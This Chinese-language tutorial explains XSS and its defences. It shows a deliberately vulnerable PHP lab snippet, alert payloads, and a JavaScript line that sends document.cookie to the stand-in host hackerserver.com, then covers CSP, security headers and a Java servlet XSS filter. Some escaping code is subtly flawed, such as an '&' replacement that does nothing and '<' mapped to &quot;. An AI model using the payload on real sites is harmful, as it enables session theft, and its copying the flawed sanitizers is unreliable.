跨站脚本攻击XSS分类介绍以及解决方案汇总

if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="<p class='notice'>输入'kobe'试试-_-</p>";
    }else{
        if($_GET['message']=='kobe'){
            $html.="<p class='notice'>愿你和{$_GET['message']}一样，永远年轻，永远热血沸腾！</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
        }else{
            $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
        }
    }
}

<script>alert(111)</script>

<script>alert(document.cookie)</script>

var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;

server.servlet.session.cookie.http-only	默认为true

const filterXSS(str){
    let s= '';
    if(str.length == 0) return "";
    s = str.replace(/&/g,"&");
    s = s.replace(/</g,"&lt;");
    s = s.replace(/>/g,"&gt;");
    s = s.replace(/ /g,"&nbsp;");
    s = s.replace(/\'/g,"&#39;");
    s = s.replace(/\"/g,"&quot;");
    return s; 
}

TTP header :
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略

HTML Meta :
<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">

<meta http-equiv="Content-Security-Policy" content="default-src 'self' *.xx.com *.xx.cn 'unsafe-inline' 'unsafe-eval';">

###frame 同源策略
add_header X-Frame-Options SAMEORIGIN;
###CSP防护
add_header  Content-Security-Policy  "default-src 'self'; script-src 'self' 'unsafe-inline';font-src 'self' data:; img-src 'self'  data: 'unsafe-inline' https:; style-src 'self' 'unsafe-inline';frame-ancestors 'self'; frame-src 'self';connect-src https:";
###开启XSS防护
add_header X-Xss-Protection "1";
###资源解析
add_header X-Content-Type-Options nosniff;
###HSTS防护
add_header Strict-Transport-Security "max-age=172800; includeSubDomains";

// 限制所有的外部资源，都只能从当前域名加载
Content-Security-Policy: default-src 'self'

// default-src 是 CSP 指令，多个指令之间用英文分号分割；多个指令值用英文空格分割
Content-Security-Policy: default-src https://host1.com https://host2.com; frame-src 'none'; object-src 'none'  

// 错误写法，第二个指令将会被忽略
Content-Security-Policy: script-src https://host1.com; script-src https://host2.com

// 正确写法如下
Content-Security-Policy: script-src https://host1.com https://host2.com

// 通过report-uri指令指示浏览器发送JSON格式的拦截报告到某个url地址
Content-Security-Policy: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser; 

// 报告看起来会像下面这样
{  
  "csp-report": {  
    "document-uri": "http://example.org/page.html",  
    "referrer": "http://evil.example.com/",  
    "blocked-uri": "http://evil.example.com/evil.js",  
    "violated-directive": "script-src 'self' https://apis.google.com",  
    "original-policy": "script-src 'self' https://apis.google.com; report-uri http://example.org/my_amazing_csp_report_parser"  
  }  
}

   @Bean
    public FilterRegistrationBean<XssFilter> xssFilterRegistration() {
        //创建配置bean对象，并指定->过滤器
        FilterRegistrationBean<XssFilter> registrationBean = new FilterRegistrationBean<>(new XssFilter());
        // 最后执行
        registrationBean.setDispatcherTypes(DispatcherType.REQUEST);
        registrationBean.setOrder(Integer.MAX_VALUE-1);
        registrationBean.setName("xssFilter");
        //添加需要过滤的url
        registrationBean.addUrlPatterns(StrUtil.splitToArray(urlPatterns, ','));
        Map<String, String> initParameters = new HashMap<>(4);
        initParameters.put("excludes", excludes);
        initParameters.put("enabled", enabled);
        registrationBean.setInitParameters(initParameters);
        return registrationBean;
    }

* 拦截防止xss注入
* 通过Jsoup过滤请求参数内的特定字符
* 这种拦截只能处理:参数通过 request.getParameter获取到的 请求.
* 但是对于 json格式传递 application/json 无法处理.

public class XssFilter implements Filter {
    private static Logger logger = LoggerFactory.getLogger(XssFilter.class);

    /**
     * 不需要过滤的链接
     */
    public List<String> excludes = new ArrayList<>();
    /**
     * xss过滤开关
     */
    public boolean enabled = false;

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        String tempExcludes = filterConfig.getInitParameter("excludes");
        String tempEnabled = filterConfig.getInitParameter("enabled");
        if (StringUtils.isNotEmpty(tempExcludes)) {
            String[] url = tempExcludes.split(",");
            for (int i = 0; url != null && i < url.length; i++) {
                excludes.add(url[i]);
            }
        }
        if (StringUtils.isNotEmpty(tempEnabled)) {
            enabled = Boolean.valueOf(tempEnabled);
        }
    }


    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {


        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        if (handleExcludeURL(req, resp)) {
            filterChain.doFilter(request, response);
            return;
        }
        filterChain.doFilter(new XssHttpServletRequestWrapper((HttpServletRequest) request), response);
    }

    @Override
    public void destroy() {
        // noop
    }

    private boolean handleExcludeURL(HttpServletRequest request, HttpServletResponse response) {
        if (!enabled) {
            return true;
        }
        if (excludes == null || excludes.isEmpty()) {
            return false;
        }
        String url = request.getServletPath();
        for (String pattern : excludes) {
            Pattern p = Pattern.compile("^" + pattern);
            Matcher m = p.matcher(url);
            if (m.find()){
                return true;
            }
        }
        return false;
    }
}

XssHttpServletRequestWrapper:对 HttpServletRequest 进行一次包装, 进行xss过滤.针对 POST application/x-www-form-urlencoded 或者 GET请求.

@Slf4j
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {

    private HttpServletRequest orgRequest;

    // html过滤
    private final static HTMLFilter htmlFilter = new HTMLFilter();

    public XssHttpServletRequestWrapper(HttpServletRequest request) {
        super(request);
        orgRequest = request;
    }

    @Override
    public ServletInputStream getInputStream() throws IOException {
        // 非json类型，直接返回
        if (!isJsonRequest()) {
            return super.getInputStream();
        }
        // 为空，直接返回
        String json = IOUtils.toString(super.getInputStream(), "utf-8");
        if (StrUtil.isBlank(json)) {
            return super.getInputStream();
        }

        // xss过滤
        json = xssEncode(json);
        final ByteArrayInputStream bis = new ByteArrayInputStream(json.getBytes("utf-8"));
        return new ServletInputStream() {
            @Override
            public boolean isFinished() {
                return true;
            }

            @Override
            public boolean isReady() {
                return true;
            }

            @Override
            public void setReadListener(ReadListener readListener) {
            }

            @Override
            public int read() throws IOException {
                return bis.read();
            }
        };
    }

    /**
     * 覆盖getParameter方法，将参数名和参数值都做xss过滤。<br/>
     */
    @Override
    public String getParameter(String rawName) {
        String value = super.getParameter(xssEncode(rawName));
        if (StrUtil.isNotBlank(value)) {
            value = xssEncode(value);
        }
        return value;
    }

    @Override
    public String[] getParameterValues(String name) {
        String[] parameters = super.getParameterValues(name);
        if (parameters == null || parameters.length == 0) {
            return null;
        }

        for (int i = 0; i < parameters.length; i++) {
            parameters[i] = xssEncode(parameters[i]);
        }
        return parameters;
    }

    @Override
    public Enumeration<String> getParameterNames() {
        Enumeration<String> parameterNames = super.getParameterNames();

        List<String> list = new LinkedList<>();
        if (parameterNames != null) {

            while (parameterNames.hasMoreElements()) {
                String rawName = parameterNames.nextElement();
                String safetyName = xssEncode(rawName);

                if (!Objects.equals(rawName, safetyName))
                {
                    log.warn("请求路径: {},参数键: {}, xss过滤后: {}. 疑似xss攻击",
                            orgRequest.getRequestURI(), rawName, safetyName);
                }
                list.add(safetyName);
            }
        }

        return Collections.enumeration(list);
    }

    @Override
    public Map<String, String[]> getParameterMap() {

        Map<String, String[]> map = new LinkedHashMap<>();
        Map<String, String[]> parameters = super.getParameterMap();
        for (String key : parameters.keySet()) {
            String[] values = parameters.get(key);
            for (int i = 0; i < values.length; i++) {
                values[i] = xssEncode(values[i]);
            }
            map.put(key, values);
        }
        return map;
    }

    /**
     * 覆盖getHeader方法，将参数名和参数值都做xss过滤。<br/>
     * 如果需要获得原始的值，则通过super.getHeaders(name)来获取<br/>
     * getHeaderNames 也可能需要覆盖
     */
    @Override
    public String getHeader(String name) {
        String value = super.getHeader(xssEncode(name));
        if (StrUtil.isNotBlank(value)) {
            value = xssEncode(value);
        }
        return value;
    }


    private String xssEncode(String input) {
        return htmlFilter.filter(input);
    }

    /**
     * 是否是Json请求
     */
    public boolean isJsonRequest()
    {
        String header = super.getHeader(HttpHeaders.CONTENT_TYPE);
        return StringUtils.startsWithIgnoreCase(header, MediaType.APPLICATION_JSON_VALUE);
    }
}

public final class HTMLFilter {

    /** regex flag union representing /si modifiers in php **/
    private static final int REGEX_FLAGS_SI = Pattern.CASE_INSENSITIVE | Pattern.DOTALL;
    private static final Pattern P_COMMENTS = Pattern.compile("<!--(.*?)-->", Pattern.DOTALL);
    private static final Pattern P_COMMENT = Pattern.compile("^!--(.*)--$", REGEX_FLAGS_SI);
    private static final Pattern P_TAGS = Pattern.compile("<(.*?)>", Pattern.DOTALL);
    private static final Pattern P_END_TAG = Pattern.compile("^/([a-z0-9]+)", REGEX_FLAGS_SI);
    private static final Pattern P_START_TAG = Pattern.compile("^([a-z0-9]+)(.*?)(/?)$", REGEX_FLAGS_SI);
    private static final Pattern P_QUOTED_ATTRIBUTES = Pattern.compile("([a-z0-9]+)=([\"'])(.*?)\\2", REGEX_FLAGS_SI);
    private static final Pattern P_UNQUOTED_ATTRIBUTES = Pattern.compile("([a-z0-9]+)(=)([^\"\\s']+)", REGEX_FLAGS_SI);
    private static final Pattern P_PROTOCOL = Pattern.compile("^([^:]+):", REGEX_FLAGS_SI);
    private static final Pattern P_ENTITY = Pattern.compile("&#(\\d+);?");
    private static final Pattern P_ENTITY_UNICODE = Pattern.compile("&#x([0-9a-f]+);?");
    private static final Pattern P_ENCODE = Pattern.compile("%([0-9a-f]{2});?");
    private static final Pattern P_VALID_ENTITIES = Pattern.compile("&([^&;]*)(?=(;|&|$))");
    private static final Pattern P_VALID_QUOTES = Pattern.compile("(>|^)([^<]+?)(<|$)", Pattern.DOTALL);
    private static final Pattern P_END_ARROW = Pattern.compile("^>");
    private static final Pattern P_BODY_TO_END = Pattern.compile("<([^>]*?)(?=<|$)");
    private static final Pattern P_XML_CONTENT = Pattern.compile("(^|>)([^<]*?)(?=>)");
    private static final Pattern P_STRAY_LEFT_ARROW = Pattern.compile("<([^>]*?)(?=<|$)");
    private static final Pattern P_STRAY_RIGHT_ARROW = Pattern.compile("(^|>)([^<]*?)(?=>)");
    private static final Pattern P_AMP = Pattern.compile("&");
    private static final Pattern P_QUOTE = Pattern.compile("<");
    private static final Pattern P_LEFT_ARROW = Pattern.compile("<");
    private static final Pattern P_RIGHT_ARROW = Pattern.compile(">");
    private static final Pattern P_BOTH_ARROWS = Pattern.compile("<>");

    // @xxx could grow large... maybe use sesat's ReferenceMap
    private static final ConcurrentMap<String,Pattern> P_REMOVE_PAIR_BLANKS = new ConcurrentHashMap<String, Pattern>();
    private static final ConcurrentMap<String,Pattern> P_REMOVE_SELF_BLANKS = new ConcurrentHashMap<String, Pattern>();

    /** set of allowed html elements, along with allowed attributes for each element **/
    private final Map<String, List<String>> vAllowed;
    /** counts of open tags for each (allowable) html element **/
    private final Map<String, Integer> vTagCounts = new HashMap<String, Integer>();

    /** html elements which must always be self-closing (e.g. "<img />") **/
    private final String[] vSelfClosingTags;
    /** html elements which must always have separate opening and closing tags (e.g. "<b></b>") **/
    private final String[] vNeedClosingTags;
    /** set of disallowed html elements **/
    private final String[] vDisallowed;
    /** attributes which should be checked for valid protocols **/
    private final String[] vProtocolAtts;
    /** allowed protocols **/
    private final String[] vAllowedProtocols;
    /** tags which should be removed if they contain no content (e.g. "<b></b>" or "<b />") **/
    private final String[] vRemoveBlanks;
    /** entities allowed within html markup **/
    private final String[] vAllowedEntities;
    /** flag determining whether comments are allowed in input String. */
    private final boolean stripComment;
    private final boolean encodeQuotes;
    private boolean vDebug = false;
    /**
     * flag determining whether to try to make tags when presented with "unbalanced"
     * angle brackets (e.g. "<b text </b>" becomes "<b> text </b>").  If set to false,
     * unbalanced angle brackets will be html escaped.
     */
    private final boolean alwaysMakeTags;

    /** Default constructor.
     *
     */
    public HTMLFilter() {
        vAllowed = new HashMap<>();

        final ArrayList<String> a_atts = new ArrayList<String>();
        a_atts.add("href");
        a_atts.add("target");
        vAllowed.put("a", a_atts);

        final ArrayList<String> img_atts = new ArrayList<String>();
        img_atts.add("src");
        img_atts.add("width");
        img_atts.add("height");
        img_atts.add("alt");
        vAllowed.put("img", img_atts);

        final ArrayList<String> no_atts = new ArrayList<String>();
        vAllowed.put("b", no_atts);
        vAllowed.put("strong", no_atts);
        vAllowed.put("i", no_atts);
        vAllowed.put("em", no_atts);

        vSelfClosingTags = new String[]{"img"};
        vNeedClosingTags = new String[]{"a", "b", "strong", "i", "em"};
        vDisallowed = new String[]{};
        vAllowedProtocols = new String[]{"http", "mailto", "https"}; // no ftp.
        vProtocolAtts = new String[]{"src", "href"};
        vRemoveBlanks = new String[]{"a", "b", "strong", "i", "em"};
        vAllowedEntities = new String[]{"amp", "gt", "lt", "quot"};
        stripComment = true;
        encodeQuotes = true;
        alwaysMakeTags = true;
    }

    /** Set debug flag to true. Otherwise use default settings. See the default constructor.
     *
     * @param debug turn debug on with a true argument
     */
    public HTMLFilter(final boolean debug) {
        this();
        vDebug = debug;

    }

    /** Map-parameter configurable constructor.
     *
     * @param conf map containing configuration. keys match field names.
     */
    @SuppressWarnings("unchecked")
	public HTMLFilter(final Map<String,Object> conf) {

        assert conf.containsKey("vAllowed") : "configuration requires vAllowed";
        assert conf.containsKey("vSelfClosingTags") : "configuration requires vSelfClosingTags";
        assert conf.containsKey("vNeedClosingTags") : "configuration requires vNeedClosingTags";
        assert conf.containsKey("vDisallowed") : "configuration requires vDisallowed";
        assert conf.containsKey("vAllowedProtocols") : "configuration requires vAllowedProtocols";
        assert conf.containsKey("vProtocolAtts") : "configuration requires vProtocolAtts";
        assert conf.containsKey("vRemoveBlanks") : "configuration requires vRemoveBlanks";
        assert conf.containsKey("vAllowedEntities") : "configuration requires vAllowedEntities";

        vAllowed = Collections.unmodifiableMap((HashMap<String, List<String>>) conf.get("vAllowed"));
        vSelfClosingTags = (String[]) conf.get("vSelfClosingTags");
        vNeedClosingTags = (String[]) conf.get("vNeedClosingTags");
        vDisallowed = (String[]) conf.get("vDisallowed");
        vAllowedProtocols = (String[]) conf.get("vAllowedProtocols");
        vProtocolAtts = (String[]) conf.get("vProtocolAtts");
        vRemoveBlanks = (String[]) conf.get("vRemoveBlanks");
        vAllowedEntities = (String[]) conf.get("vAllowedEntities");
        stripComment =  conf.containsKey("stripComment") ? (Boolean) conf.get("stripComment") : true;
        encodeQuotes = conf.containsKey("encodeQuotes") ? (Boolean) conf.get("encodeQuotes") : true;
        alwaysMakeTags = conf.containsKey("alwaysMakeTags") ? (Boolean) conf.get("alwaysMakeTags") : true;
    }

    private void reset() {
        vTagCounts.clear();
    }

    private void debug(final String msg) {
        if (vDebug) {
            Logger.getAnonymousLogger().info(msg);
        }
    }

    //---------------------------------------------------------------
    // my versions of some PHP library functions
    public static String chr(final int decimal) {
        return String.valueOf((char) decimal);
    }

    public static String htmlSpecialChars(final String s) {
        String result = s;
        result = regexReplace(P_AMP, "&amp;", result);
        result = regexReplace(P_QUOTE, "&quot;", result);
        result = regexReplace(P_LEFT_ARROW, "&lt;", result);
        result = regexReplace(P_RIGHT_ARROW, "&gt;", result);
        return result;
    }

    //---------------------------------------------------------------
    /**
     * given a user submitted input String, filter out any invalid or restricted
     * html.
     *
     * @param input text (i.e. submitted by a user) than may contain html
     * @return "clean" version of input, with only valid, whitelisted html elements allowed
     */
    public String filter(final String input) {
        reset();
        String s = input;

        debug("************************************************");
        debug("              INPUT: " + input);

        s = escapeComments(s);
        debug("     escapeComments: " + s);

        s = balanceHTML(s);
        debug("        balanceHTML: " + s);

        s = checkTags(s);
        debug("          checkTags: " + s);

        s = processRemoveBlanks(s);
        debug("processRemoveBlanks: " + s);

        s = validateEntities(s);
        debug("    validateEntites: " + s);

        debug("************************************************\n\n");
        return s;
    }

    public boolean isAlwaysMakeTags(){
        return alwaysMakeTags;
    }

    public boolean isStripComments(){
        return stripComment;
    }

    private String escapeComments(final String s) {
        final Matcher m = P_COMMENTS.matcher(s);
        final StringBuffer buf = new StringBuffer();
        if (m.find()) {
            final String match = m.group(1); //(.*?)
            m.appendReplacement(buf, Matcher.quoteReplacement("<!--" + htmlSpecialChars(match) + "-->"));
        }
        m.appendTail(buf);

        return buf.toString();
    }

    private String balanceHTML(String s) {
        if (alwaysMakeTags) {
            //
            // try and form html
            //
            s = regexReplace(P_END_ARROW, "", s);
            s = regexReplace(P_BODY_TO_END, "<$1>", s);
            s = regexReplace(P_XML_CONTENT, "$1<$2", s);

        } else {
            //
            // escape stray brackets
            //
            s = regexReplace(P_STRAY_LEFT_ARROW, "&lt;$1", s);
            s = regexReplace(P_STRAY_RIGHT_ARROW, "$1$2&gt;<", s);

            //
            // the last regexp causes '<>' entities to appear
            // (we need to do a lookahead assertion so that the last bracket can
            // be used in the next pass of the regexp)
            //
            s = regexReplace(P_BOTH_ARROWS, "", s);
        }

        return s;
    }

    private String checkTags(String s) {
        Matcher m = P_TAGS.matcher(s);

        final StringBuffer buf = new StringBuffer();
        while (m.find()) {
            String replaceStr = m.group(1);
            replaceStr = processTag(replaceStr);
            m.appendReplacement(buf, Matcher.quoteReplacement(replaceStr));
        }
        m.appendTail(buf);

        s = buf.toString();

        // these get tallied in processTag
        // (remember to reset before subsequent calls to filter method)
        for (String key : vTagCounts.keySet()) {
            for (int ii = 0; ii < vTagCounts.get(key); ii++) {
                s += "</" + key + ">";
            }
        }

        return s;
    }

    private String processRemoveBlanks(final String s) {
        String result = s;
        for (String tag : vRemoveBlanks) {
            if(!P_REMOVE_PAIR_BLANKS.containsKey(tag)){
                P_REMOVE_PAIR_BLANKS.putIfAbsent(tag, Pattern.compile("<" + tag + "(\\s[^>]*)?></" + tag + ">"));
            }
            result = regexReplace(P_REMOVE_PAIR_BLANKS.get(tag), "", result);
            if(!P_REMOVE_SELF_BLANKS.containsKey(tag)){
                P_REMOVE_SELF_BLANKS.putIfAbsent(tag, Pattern.compile("<" + tag + "(\\s[^>]*)?/>"));
            }
            result = regexReplace(P_REMOVE_SELF_BLANKS.get(tag), "", result);
        }

        return result;
    }

    private static String regexReplace(final Pattern regex_pattern, final String replacement, final String s) {
        Matcher m = regex_pattern.matcher(s);
        return m.replaceAll(replacement);
    }

    private String processTag(final String s) {
        // ending tags
        Matcher m = P_END_TAG.matcher(s);
        if (m.find()) {
            final String name = m.group(1).toLowerCase();
            if (allowed(name)) {
                if (!inArray(name, vSelfClosingTags)) {
                    if (vTagCounts.containsKey(name)) {
                        vTagCounts.put(name, vTagCounts.get(name) - 1);
                        return "</" + name + ">";
                    }
                }
            }
        }

        // starting tags
        m = P_START_TAG.matcher(s);
        if (m.find()) {
            final String name = m.group(1).toLowerCase();
            final String body = m.group(2);
            String ending = m.group(3);

            //debug( "in a starting tag, name='" + name + "'; body='" + body + "'; ending='" + ending + "'" );
            if (allowed(name)) {
                String params = "";

                final Matcher m2 = P_QUOTED_ATTRIBUTES.matcher(body);
                final Matcher m3 = P_UNQUOTED_ATTRIBUTES.matcher(body);
                final List<String> paramNames = new ArrayList<String>();
                final List<String> paramValues = new ArrayList<String>();
                while (m2.find()) {
                    paramNames.add(m2.group(1)); //([a-z0-9]+)
                    paramValues.add(m2.group(3)); //(.*?)
                }
                while (m3.find()) {
                    paramNames.add(m3.group(1)); //([a-z0-9]+)
                    paramValues.add(m3.group(3)); //([^\"\\s']+)
                }

                String paramName, paramValue;
                for (int ii = 0; ii < paramNames.size(); ii++) {
                    paramName = paramNames.get(ii).toLowerCase();
                    paramValue = paramValues.get(ii);

//          debug( "paramName='" + paramName + "'" );
//          debug( "paramValue='" + paramValue + "'" );
//          debug( "allowed? " + vAllowed.get( name ).contains( paramName ) );

                    if (allowedAttribute(name, paramName)) {
                        if (inArray(paramName, vProtocolAtts)) {
                            paramValue = processParamProtocol(paramValue);
                        }
                        params += " " + paramName + "=\"" + paramValue + "\"";
                    }
                }

                if (inArray(name, vSelfClosingTags)) {
                    ending = " /";
                }

                if (inArray(name, vNeedClosingTags)) {
                    ending = "";
                }

                if (ending == null || ending.length() < 1) {
                    if (vTagCounts.containsKey(name)) {
                        vTagCounts.put(name, vTagCounts.get(name) + 1);
                    } else {
                        vTagCounts.put(name, 1);
                    }
                } else {
                    ending = " /";
                }
                return "<" + name + params + ending + ">";
            } else {
                return "";
            }
        }

        // comments
        m = P_COMMENT.matcher(s);
        if (!stripComment && m.find()) {
            return  "<" + m.group() + ">";
        }

        return "";
    }

    private String processParamProtocol(String s) {
        s = decodeEntities(s);
        final Matcher m = P_PROTOCOL.matcher(s);
        if (m.find()) {
            final String protocol = m.group(1);
            if (!inArray(protocol, vAllowedProtocols)) {
                // bad protocol, turn into local anchor link instead
                s = "#" + s.substring(protocol.length() + 1, s.length());
                if (s.startsWith("#//")) {
                    s = "#" + s.substring(3, s.length());
                }
            }
        }

        return s;
    }

    private String decodeEntities(String s) {
        StringBuffer buf = new StringBuffer();

        Matcher m = P_ENTITY.matcher(s);
        while (m.find()) {
            final String match = m.group(1);
            final int decimal = Integer.decode(match).intValue();
            m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal)));
        }
        m.appendTail(buf);
        s = buf.toString();

        buf = new StringBuffer();
        m = P_ENTITY_UNICODE.matcher(s);
        while (m.find()) {
            final String match = m.group(1);
            final int decimal = Integer.valueOf(match, 16).intValue();
            m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal)));
        }
        m.appendTail(buf);
        s = buf.toString();

        buf = new StringBuffer();
        m = P_ENCODE.matcher(s);
        while (m.find()) {
            final String match = m.group(1);
            final int decimal = Integer.valueOf(match, 16).intValue();
            m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal)));
        }
        m.appendTail(buf);
        s = buf.toString();

        s = validateEntities(s);
        return s;
    }

    private String validateEntities(final String s) {
        StringBuffer buf = new StringBuffer();

        // validate entities throughout the string
        Matcher m = P_VALID_ENTITIES.matcher(s);
        while (m.find()) {
            final String one = m.group(1); //([^&;]*)
            final String two = m.group(2); //(?=(;|&|$))
            m.appendReplacement(buf, Matcher.quoteReplacement(checkEntity(one, two)));
        }
        m.appendTail(buf);

        return encodeQuotes(buf.toString());
    }

    private String encodeQuotes(final String s){
        if(encodeQuotes){
            StringBuffer buf = new StringBuffer();
            Matcher m = P_VALID_QUOTES.matcher(s);
            while (m.find()) {
                final String one = m.group(1); //(>|^)
                final String two = m.group(2); //([^<]+?)
                final String three = m.group(3); //(<|$)
                m.appendReplacement(buf, Matcher.quoteReplacement(one + regexReplace(P_QUOTE, "&quot;", two) + three));
            }
            m.appendTail(buf);
            return buf.toString();
        }else{
            return s;
        }
    }

    private String checkEntity(final String preamble, final String term) {

        return ";".equals(term) && isValidEntity(preamble)
                ? '&' + preamble
                : "&amp;" + preamble;
    }

    private boolean isValidEntity(final String entity) {
        return inArray(entity, vAllowedEntities);
    }

    private static boolean inArray(final String s, final String[] array) {
        for (String item : array) {
            if (item != null && item.equals(s)) {
                return true;
            }
        }
        return false;
    }

    private boolean allowed(final String name) {
        return (vAllowed.isEmpty() || vAllowed.containsKey(name)) && !inArray(name, vDisallowed);
    }

    private boolean allowedAttribute(final String name, final String paramName) {
        return allowed(name) && (vAllowed.isEmpty() || vAllowed.get(name).contains(paramName));
    }
}